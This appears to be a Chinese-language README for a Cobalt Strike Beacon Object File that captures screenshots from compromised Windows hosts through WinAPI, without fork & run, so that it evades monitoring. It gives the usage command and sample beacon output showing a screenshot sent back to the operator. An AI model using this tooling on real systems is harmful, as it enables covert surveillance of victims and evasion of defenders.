一种替代的Cobalt Strike截图功能,使用WinAPI且不执行fork & run。截图在内存中下载。
make0: 捕获全屏(PID = 0) 特定PID: 捕获特定PID(即使在最小化时也能工作!)
screenshot_bof 会弹出一个GUI对话框beacon> screenshot_bof file.jpg 2 21964 0 90 100
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 12421 bytes
[+] received output:
Downloading JPEG over beacon as a screenshot with filename file.jpg
[*] received screenshot of Screenshot from Admin (26kb)
[+] received output:
Screenshot saved/downloaded successfully
Cobalt Strike在其许多后期利用功能中使用了一种称为fork & run的技术,包括截图命令。虽然这种行为提供了稳定性,但现在已广为人知并受到严密监控。此BOF旨在提供一种OPSEC更安全的截图功能版本。
标准免责声明:对于您使用这段糟糕代码可能犯下的任何反人类罪行或引发的核战争,我不承担任何责任。